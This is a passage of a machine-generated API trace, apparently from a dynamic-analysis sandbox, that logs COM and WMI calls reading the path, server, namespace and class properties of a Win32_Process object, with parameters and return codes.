This=0x1aa2a780, wszName="__PATH", lFlags=0, pVal=0x1bb7e470*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e5d8*=0, plFlavor=0x1bb7e5d0*=0 | out: pVal=0x1bb7e470*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process", varVal2=0x0), pType=0x1bb7e5d8*=8, plFlavor=0x1bb7e5d0*=64) returned 0x0 [0143.813] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0143.813] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0143.813] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e4a8 | out: ppv=0x1bb7e4a8*=0x1a943398) returned 0x0 [0143.813] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e498 | out: pAptType=0x1bb7e498*=1) returned 0x0 [0143.813] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e4a0 | out: ppvObject=0x1bb7e4a0*=0x0) returned 0x80004002 [0143.813] IUnknown:Release (This=0x1a943398) returned 0x1 [0143.815] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8c0 | out: ppv=0x1bb7d8c0*=0x1bc22700) returned 0x0 [0143.815] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc22700, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d908 | out: ppvObject=0x1bb7d908*=0x0) returned 0x80004002 [0143.815] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc22700, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8b8 | out: ppvObject=0x1bb7d8b8*=0x1a980d50) returned 0x0 [0143.815] WbemDefPath:IUnknown:Release (This=0x1bc22700) returned 0x0 [0143.815] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980d50, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6c8 | out: ppvObject=0x1bb7d6c8*=0x1a980d50) returned 0x0 [0143.815] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980d50, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d770 | out: ppvObject=0x1bb7d770*=0x0) returned 0x80004002 [0143.816] WbemDefPath:IUnknown:AddRef (This=0x1a980d50) returned 0x3 [0143.816] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980d50, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce18 | out: ppvObject=0x1bb7ce18*=0x0) returned 0x80004002 [0143.816] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980d50, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cda0 | out: ppvObject=0x1bb7cda0*=0x0) returned 0x80004002 [0143.816] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980d50, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x1bc22620) returned 0x0 [0143.816] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc22620, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cdb8 | out: pCid=0x1bb7cdb8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0143.816] WbemDefPath:IUnknown:Release (This=0x1bc22620) returned 0x3 [0143.816] CoGetContextToken (in: pToken=0x1bb7ce40 | out: pToken=0x1bb7ce40) returned 0x0 [0143.816] CoGetContextToken (in: pToken=0x1bb7d2c0 | out: pToken=0x1bb7d2c0) returned 0x0 [0143.816] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980d50, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d380 | out: ppvObject=0x1bb7d380*=0x0) returned 0x80004002 [0143.816] WbemDefPath:IUnknown:Release (This=0x1a980d50) returned 0x2 [0143.816] WbemDefPath:IUnknown:Release (This=0x1a980d50) returned 0x1 [0143.816] CoGetContextToken (in: pToken=0x1bb7e0e0 | out: pToken=0x1bb7e0e0) returned 0x0 [0143.816] CoGetContextToken (in: pToken=0x1bb7dfe0 | out: pToken=0x1bb7dfe0) returned 0x0 [0143.816] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980d50, riid=0x1bb7e140*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e110 | out: ppvObject=0x1bb7e110*=0x1a980d50) returned 0x0 [0143.816] WbemDefPath:IUnknown:AddRef (This=0x1a980d50) returned 0x3 [0143.816] WbemDefPath:IUnknown:Release (This=0x1a980d50) returned 0x2 [0143.816] WbemDefPath:IWbemPath:SetText (This=0x1a980d50, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0143.816] IWbemClassObject:Get (in: This=0x1aa2a780, wszName="__SERVER", lFlags=0, pVal=0x1bb7e530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e690*=0, plFlavor=0x1bb7e688*=0 | out: pVal=0x1bb7e530*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64) returned 0x0 [0143.816] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0143.817] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0143.817] IWbemClassObject:Get (in: This=0x1aa2a780, wszName="__NAMESPACE", lFlags=0, pVal=0x1bb7e530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64 | out: pVal=0x1bb7e530*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ROOT\\CIMV2", varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64) returned 0x0 [0143.817] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0143.817] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0143.817] IWbemClassObject:Get (in: This=0x1aa2a780, wszName="__CLASS", lFlags=0, pVal=0x1bb7e530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64 | out: pVal=0x1bb7e530*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_Process", varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64) returned 0x0 [0143.817] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0143.817] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0143.817] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e498 | out: ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0143.817] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 0x0 [0143.817] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0143.817] IUnknown:Release (This=0x1a943398) returned 0x1 [0143.819] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8b0 | out: ppv=0x1bb7d8b0*=0x1bc223a0) returned 0x0 [0143.819] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc223a0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) returned 0x80004002 [0143.819] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc223a0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: ppvObject=0x1bb7d8a8*=0x1a980bd0) returned 0x0 [0143.819] WbemDefPath:IUnknown:Release (This=0x1bc223a0) returned 0x0 [0143.819] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980bd0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6b8 | out: ppvObject=0x1bb7d6b8*=0x1a980bd0) returned 0x0 [0143.819] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980bd0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0143.819] WbemDefPath:IUnknown:AddRef (This=0x1a980bd0) returned 0x3 [0143.820] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980bd0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0143.820] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980bd0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0143.820] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980bd0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: ppvObject=0x1bb7cd80*=0x1bc222e0) returned 0x0 [0143.820] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc222e0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0143.820] WbemDefPath:IUnknown:Release (This=0x1bc222e0) returned 0x3 [0143.820] CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0143.820] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0143.820] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980bd0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0143.820] WbemDefPath:IUnknown:Release (This=0x1a980bd0) returned 0x2 [0143.820] WbemDefPath:IUnknown:Release (This=0x1a980bd0) returned 0x1 [0143.820] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0143.820] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0143.820] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980bd0, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1a980bd0) returned 0x0 [0143.820] WbemDefPath:IUnknown:AddRef (This=0x1a980bd0) returned 0x3 [0143.820] WbemDefPath:IUnknown:Release (This=0x1a980bd0) returned 0x2 [0143.820] WbemDefPath:IWbemPath:SetText (This=0x1a980bd0, uMode=0x4, pszPath="") returned 0x0 [0143.820] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e498 | out: ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0143.820] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 0x0 [0143.820] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0143.820] IUnknown:Release (This=0x1a943398) returned 0x1 [0143.822] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8b0 | out: ppv=0x1bb7d8b0*=0x1bc223a0) returned 0x0 [0143.822] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc223a0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) returned 0x80004002 [0143.822] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc223a0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: ppvObject=0x1bb7d8a8*=0x1a980b10) returned 0x0 [0143.822] WbemDefPath:IUnknown:Release (This=0x1bc223a0) returned 0x0 [0143.822] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980b10, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6b8 | out: ppvObject=0x1bb7d6b8*=0x1a980b10) returned 0x0 [0143.822] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980b10, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0143.823] WbemDefPath:IUnknown:AddRef (This=0x1a980b10) returned 0x3 [0143.823] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980b10, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0143.823] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980b10, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0143.823] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980b10, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: ppvObject=0x1bb7cd80*=0x1bc22320) returned 0x0 [0143.823] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc22320, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0143.823] WbemDefPath:IUnknown:Release (This=0x1bc22320) returned 0x3 [0143.823] CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0143.823] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0143.823] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980b10, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0143.823] WbemDefPath:IUnknown:Release (This=0x1a980b10) returned 0x2 [0143.823] WbemDefPath:IUnknown:Release (This=0x1a980b10) returned 0x1 [0143.823] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0143.823] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0143.823] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980b10, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1a980b10) returned 0x0 [0143.823] WbemDefPath:IUnknown:AddRef (This=0x1a980b10) returned 0x3 [0143.823] WbemDefPath:IUnknown:Release (This=0x1a980b10) returned 0x2 [0143.823] WbemDefPath:IWbemPath:SetText (This=0x1a980b10, uMode=0x4, pszPath="") returned 0x0 [0143.823] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a980b10, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 [0143.823] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a980bd0, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 [0143.823] WbemDefPath:IWbemPath:GetClassName (in: This=0x1a980b10, puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0 | out: puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0) returned 0x8004103a [0143.823] WbemDefPath:IWbemPath:GetServer (in: This=0x1a980b10, puNameBufLength=0x1bb7e5d8*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e5d8*=0x0, pName=0x0) returned 0x80041009 [0143.823] WbemDefPath:IWbemPath:SetServer (This=0x1a980b10, Name="Q9IATRKPRH") returned 0x0 [0143.824] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e498 | out: ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0143.824] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 0x0 [0143.824] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0143.824] IUnknown:Release (This=0x1a943398) returned 0x1 [0143.825] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8b0 | out: ppv=0x1bb7d8b0*=0x1bc22340) returned 0x0 [0143.826] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc22340, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) returned 0x80004002 [0143.826] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc22340, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: ppvObject=0x1bb7d8a8*=0x1a980a50) returned 0x0 [0143.826] WbemDefPath:IUnknown:Release (This=0x1bc22340) returned 0x0 [0143.826] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980a50, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6b8 | out: ppvObject=0x1bb7d6b8*=0x1a980a50) returned 0x0 [0143.826] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980a50, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0143.826] WbemDefPath:IUnknown:AddRef (This=0x1a980a50) returned 0x3 [0143.826] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980a50, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0143.826] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980a50, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0143.826] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980a50, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: ppvObject=0x1bb7cd80*=0x1bc21ee0) returned 0x0 [0143.826] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc21ee0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, 